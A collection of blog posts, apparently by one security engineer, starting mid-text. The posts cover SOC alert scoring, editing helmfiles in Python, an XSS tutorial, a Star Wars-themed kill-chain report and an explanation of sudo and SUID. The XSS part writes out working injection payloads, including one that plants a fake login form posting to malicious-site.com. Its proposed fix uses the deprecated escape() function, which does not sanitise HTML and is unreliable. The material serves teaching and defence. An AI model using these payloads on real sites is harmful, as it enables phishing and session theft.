That's useful.

But is it automation?

Not really.

You saved a few clicks and probably a few seconds. That's useful, but I think good security automation should go one step further: it should remove a decision, not just a manual action.

Let's look at what the analyst actually does.

A TI provider will usually return information about the IOC such as:

• Confidence in the underlying source
• Context about the IOC and its activity
• How recent that activity is

The analyst uses these signals to answer one question:

"Is this IOC worth investigating?"

So instead of just automating the lookup, we can model that decision with a scoring logic.

A scoring model can combine source confidence, context, and recency into a single score. A threshold then determines whether the IOC needs attention.

The analyst no longer needs to perform the same triage for every IOC.

We've removed the decision from the workflow.

But how can you trust your CTI provider that much? You don't have to. Use multiple sources, including open-source and score the yourself too.

And if you want to do it in scale I invite you to read this article Building a custom ETL pipeline for security data by Alexander Bolshakov.

This is where security and data engineering can work together to build something truly powerful.

I'm not saying that simple button automation isn't useful. It's just not the best we can do.

The best automations aren't necessarily the ones that save the most clicks.

They're the ones that make the analyst's decision unnecessary.

Managing helmfiles in python can be tricky due to the presence of Go templates in them, which are not compatible with the standard YAML parsers. This guide demonstrates how to ignore the curly braces in helmfiles and edit them using the ruamel.yaml python library.

The issue​

Helmfiles contain Go template syntax like {{ .Value.example }}. And the existing yaml parser cannot correctly interpret this syntax is it is not a YAML syntax.

Let's try dumping this line using the ruamel.yaml library:

 - host: {{ .Values.domain }}

This syntax is being interpreted it as a key with a null value, resulting in:

 - host: {{ .Values.domain: null}: null}

This makes the task of automating the construction of helmfiles difficult. I have chosen 3 approaches for dealing with this issue.

1. The most easy way is to prerender the helmfile using helm before the processing.

2. Introduce placeholders in order to keep the YAML syntax valid.

3. Use ruamel.yaml library's support of jinja2 templates.

Strategy 1: Pre-Rendering the helmfile​

The simplest solution is to pre-render the helmfile before processing. This will replace the Go templates with actual values and make the YAML file valid for the parsers.

If prerendeing is not a solution for you then follow the next strategy.

Strategy 2: Use placeholders​

Temporarily replace the {{. Go.templates }} to make all the editing you need and then bring them back.

Step 1: Write functions to (un)escape the Go syntax​

Here are the methods for the respective replacings:

def escape_go_templates(content: str) -> str:
    return re.sub(r"\s{{(.*?)}}", r" __GO_TEMPLATE__\1__GO_TEMPLATE__", content)

def unescape_go_templates(content: str) -> str:
    return re.sub(r"__GO_TEMPLATE__(.+?)__GO_TEMPLATE__", r"{{\1}}", content)

Once you have a valid YAML document, make the changes you want then revert the Go templates using the unescape_go_templates function.

Step 2: Process the document​

This is an example of helmfile editing following this approach.

def process_helmfile(helmfile_path: str) -> None:
    
    with open(helmfile_path, "r") as helm_file:
        helm_content = helm_file.read()
        helmfile_escaped = escape_go_templates(helm_content)

    yaml_documents = yaml.load(helmfile_escaped)
    for doc in yaml_documents:
        # Example modification:
        if "releases" in doc:
            doc["releases"][0]["name"] = "my-service"

    with open(helmfile_path, "w") as updated_helmfile:
        updated_content = yaml.dump(yaml_documents)
        final_content = unescape_go_templates(updated_content)
        updated_helmfile.write(final_content)  

The last way of editing helmfiles and the one that I prefer is to use ruamel.yaml and it's support of jinja2.

Strategy 3: Utilize ruamel.yaml and jinja2 templates​

The {{. Go.templates }} used in helmfiles have a similar purpose and syntax with jinja2, which is a templating engine for Python. Both use the concept of placeholders {{ }}.

Install the ruamel.yaml['jinja2] library. Configure ruamel.yaml instance so it ignores the jinja2. Change the default value of width parameter.

yaml = YAML(typ="jinja2")
yaml.width = 4096

In case you want to prevent ruamel.yaml of adding single quotes to the Go placeholders '{{ }}' you can write a custom representer function for that.

def _represent_str(representer: SafeRepresenter, data: str | None) -> ScalarNode:
    if data and data.startswith("{{"):
        return representer.represent_scalar("tag:yaml.org,2002:str", data, style="-")

    return representer.represent_str(data)

This function,_represent_str, customizes how strings are represented in your YAML instance. It specifically addresses how to handle strings that start with {{.

When encountering such strings, the function employs a special YAML tag, tag:yaml.org,2002:str, to ensure these strings are output without additional quotation marks.

Add this function as an argument to your yaml representer and the default behavor of putting quotes to {{. Go.templates }} will be modified.

yaml.representer.add_representer(str, _represent_str)

Now you can edit your helmfile as a normal YAML document. Happy automation!

Understanding Cross-Site Scripting (XSS)​

In simple terms, XSS attacks occur when a web application allows scripts to be embedded within the application's code by a malicious actor. These scripts can then be executed when users visit the affected web page, leading to harmful consequences.

Types of XSS Attacks​

1. Reflected XSS: This is the most common type of XSS attack, where the malicious script is injected into a web page as part of a request, such as a URL parameter or a form submission. The script is then executed when the web server reflects the request back to the user's browser.

2. Stored XSS: In stored XSS attacks, the malicious script is permanently stored on the target server, such as in a database, message forum, or comment section. When a user visits the affected page, the script is retrieved and executed within the user's browser.

3. DOM-based XSS: This type of XSS attack exploits vulnerabilities in the client-side code, such as JavaScript, to manipulate the Document Object Model (DOM) without directly injecting malicious code into the web page.

Interactive XSS Demonstration​

Let's see how a simple XSS attack can be executed. We will use a benign script for demonstration purposes.

Setting Up a Mock Input Field​

First, let's create a simple input field that could represent a user comment section on a website.

function LiveExample() {
  const displayUserInput = () => {
    const userInput = document.getElementById('userInput').value;
    // Vulnerable line: Directly setting innerHTML without sanitization
    document.getElementById('output').innerHTML = userInput;
  };

  return (
    <div>
      <input type="text" id="userInput" placeholder="Enter text or HTML" />
      <button onClick={displayUserInput}>Display</button>
      <div id="output"></div>
    </div>
  );
}

Injecting a Harmless Script​

Now, try typing the following into the input field:

<img src="invalid.jpg" onerror="alert('XSS')">

Congratulations, you just performed a Reflected XSS Attack.

When this script is executed, it attempts to load an image that does not exist (invalid.jpg). The failure to load the image triggers the onerror event, causing an alert box to appear. This behavior was not

When a website fails to sanitize user inputs, scripts like the one above are treated as legitimate HTML, executed by the browser.

This seemingly harmless script demonstrates the potential consequences of XSS vulnerabilities. In a real-world attack, the alert command could be replaced with malicious code that steals cookies, redirects users to phishing sites, or injects malware.

More XSS Examples​

Let's try to inject more scripts into our web form.

Redirection:

<img src="invalid.jpg" onerror="window.location='https://www.google.com';">

Instead of displaying an alert, this script executes window.location='https://www.google.com';, which redirects the user to Google's homepage.

Document manipulation:

<img src="invalid.jpg" onerror="document.body.innerHTML='<h1>Your page has been compromised</h1>';">

This script modifies the whole content of the HTML document displayed.

Cookie Theft:

<img src="invalid.jpg" onerror="alert('Cookies: ' + document.cookie);">

This one demonstates the potential for session hijacking by displaying the document's cookies. Real attacks might send these cookies to the attacker's server

Phishing with Fake Forms:

<img src="invalid.jpg" onerror="document.body.innerHTML='<form action=\"https://malicious-site.com\"><input type=\"text\" placeholder=\"Username\"><input type=\"password\" placeholder=\"Password\"><button type=\"submit\">Login</button></form>';">

This script replaces the webpage content with a fake login form, indicating how phishing attacks can be staged through XSS.

These examples merely illustrate the versatility of XSS attacks, as attackers can devise numerous other malicious scripts to exploit vulnerabilities and compromise user security.

Preventing XSS Attacks: A Multi-Layered Approach​

Preventing XSS attacks requires a multi-layered approach that encompasses both server-side and client-side security measures. Here are some key strategies:

1. Input Validation and Sanitization: Validate and sanitize all user inputs to remove harmful code. Use regular expressions, whitelists, and escaping mechanisms to accept only valid input.
2. Output Encoding: Encode outputs to treat user input as data, not executable code. Use functions to encode HTML, JavaScript, CSS, and URL inputs.
3. Content Security Policy (CSP): Use CSP to restrict which scripts can run on your page. Specify allowed sources for scripts, images, and other content.
4. Set HttpOnly and Secure Flags: Use the HttpOnly flag to prevent JavaScript from accessing cookies. Set the Secure flag to ensure cookies are sent only over HTTPS.
5. Double Submit Cookies: Send CSRF tokens both as cookies and request parameters. Validate tokens on the server to ensure request authenticity.
6. Referer and Origin Header Validation: Check the Referer and Origin headers to ensure requests come from the expected origin.
7. Regular Security Testing: Conduct automated and manual security tests to find and fix XSS vulnerabilities before they are exploited.

Solution​

Getting back to the form we exploited previously, in order to eliminate the XSS vulnerability we need to add sanitization for the user input validation.

function LiveExample() {
  const displayUserInput = () => {
    const userInput = document.getElementById('userInput').value;
    // Sanitize user input to prevent XSS attacks 
    const sanitizedUserInput = escape(userInput);

    // Set the sanitized input to the output element 
    document.getElementById('output').innerHTML = sanitizedUserInput;
  };

  return (
    <div>
      <input type="text" id="userInput" placeholder="Enter text or HTML" />
      <button onClick={displayUserInput}>Display</button>
      <div id="output"></div>
    </div>
  );
}

Try copying this code to the previous code box and test if you can still inject the code with your script.

The Task:​

You are an Imperial Security Analyst in charge of providing computer security for the DS-2 Orbital Battle Station (or Death Star). Provide a step-by-step kill chain use case according to your research from the first Death Star destruction.

Hope you enjoy it!

Galactic Empire Incident Report

Executive Summary​

A 0-day critical vulnerability (later rated CVSS 9.7) was exploited on one of the biggest Empire's stations called The Death Star. This led to its total destruction. Luke Skywalker with the assistance of other adversaries known as the Rebel Group (also reffered to as APT-303), was able to fire proton torpedoes into the exhaust port, triggering a catastrophic chain reaction that obliterated the Death Star. This incident inflicted severe losses on the Galactic Empire, including the loss of their most formidable weapon, significantly contributing to their eventual downfall. To shed light on the case, we have analyzed the attack using the Cyber Kill Chain model.

1. Reconnaissance​

In this phase the adversaries gather information about the target's vulnerabilities.

The Rebel Group identified a critical design flaw in the DS-1. The technical plan of the DS-1 was obtained by Princess Leia, an insider who worked for APT-303. The act of stealing data is a hostile action that can be described within the framework of the Kill Chain. However, in this report, we examine the incident in a broader context. Figure 1 - Princess Leia storing the stolen data into the R2D2

2. Weaponization​

In this phase, the attacker focuses on developing the necessary tools to exploit the identified vulnerabilities.

The Rebel Group devised a strategy to exploit the discovered weakness of the Death Star. Figure 2 - The rebel group developing their attack strategy

3. Delivery​

In this phase the attacker transmits the weapon to the target.

To execute the attack on the DS-1, the Rebel Group organized a fleet of starfighters comprising X-Wings and Y-Wings. These starfighters were equipped with the required proton torpedoes to carry out the mission successfully. Figure 3 - Act of impersonation by the adversaries

In addition, deploying an intrusion prevention system (IPS) with up-to-date rules can help provide timely alerts and block any unauthorized access attempts by the X-Wings and Y-Wings in the controlled perimeter.

4. Exploitation and Installation​

This phase refers to the adversary's lateral movement through the defense forces of the Empire. This phase involves bypassing and evading the Empire's defenses to reach the intended target and strategically placing the starfighters in the optimal position to exploit the vulnerability and launch the attack.

Figure 4 - R2D2 hacking the infrastructure of the Empire

5. Command and Control​

The attacker establishes communication channels between their infrastructure and the compromised system to maintain control, receive instructions, and exfiltrate stolen data. Similarly, during the battle, the leaders of the Rebel Group maintained communication with their pilots, providing guidance and coordinating the attack. Effective communication channels between the adversaries and their forces play a critical role in executing their strategies, ensuring effective coordination maximizing their chances of success.

Figure 5 - Command & Control of APT-303 from inside

6. Actions on Objectives​

In this final phase, the attacker executes their intended objectives, which may vary depending on their motives.

Luke Skywalker, guided by the Force, fired the proton torpedoes into the thermal exhaust port. The torpedoes traveled down to the main reactor, initiating a chain reaction that ultimately resulted in the destruction of the Death Star. Figure 6 - Escape of Luke Skywalker from DS-1 before it's destruction

Conclusion​

Despite the Empire's vast resources, including numerous scientists, engineers, and disciplined troopers, the Battle of Yavin resulted in a loss for the Empire, with the DS-1 being destroyed along with a significant number of personnel.

At some point of my career, I wanted to land a job as a Junior SOC Engineer. To my surprise, I found myself struggling with technical interviews, even when asked relatively straightforward questions.

For instance, one question was, "What is sudo and how does it work?"

sudo in simple words​

Apparently, anyone who has worked with Linux has used sudo. This program temporarily elevates a user's privileges to execute specific commands by validating the user's permissions in the sudoers file.

The definition​

Example of use​

Ordinary users cannot read the file /etc/shadow. Attempting to view it without sudo will result in a permission error:

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Using sudo (assuming that this user is in the sudoers file) can grant the user permission to execute this command:

$ sudo cat /etc/shadow
[sudo] password for user:

root::18295:0:99999:7:::
daemon::18295:0:99999:7:::
bin:*:18295:0:99999:7:::
...

Now you have been granted the appropriate permissions and you can view the /etc/shadow file. But wait, what exactly just happened?

sudo command in more depth​

Here are the main steps that sudo as a program does:

1. Session Cache: Checks for cached credentials for already open sudo session.
2. Password Prompt: Requests user's password if not found in cache previously.
3. Authentication: Uses system's PAM (Pluggable Authentication Modules) to verify user's password.
4. Privilege Check: Checks sudoers file for permissions.
5. Command Execution: Runs command if authorized.
6. Logging: Records the event.

There's a catch here: How does sudo checked the /etc/sudoers file, given that only root has the permissions to read this file??

Here comes the SUID bit.

The Power of the SUID Bit​

When you look at sudo's binary file permissions, you'll see:

$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root [size] [date] usr/bin/sudo

That curious 's' is the SUID (Set User ID) bit. With this flag in permissions, a program runs with privileges of its owner regardless of the invoking user. In this respect, sudo is always executed by root and therefore can access the protected files such /etc/sudoers or /etc/shadow.

Did you know?​

Logging for sudo​

Every time sudo is invoked, it leaves a trail. These logs provide valuable insights, especially when auditing system access or investigating potential breaches. For Debian/Ubuntu you can see the logs in /var/log/auth.log file. To filter out the noise, use the grep command:

grep sudo /var/log/auth.log

In Conclusion​

When preparing for a SOC or Cyber Security Engineer interview, understand that sudo is a Set User ID binary program that is always executed by root user.

Essential practices include:

1. Control the sudoers file to ensure it follows the principle of least privilege.
2. Limit user commands in sudoers to minimize potential damage in case some of your accounts get compromised.
3. Consider monitoring sudo logs.
4. Have an incident response plan in case of sudo misuse or compromise.
5. Keep sudo updated to protect against known vulnerabilities.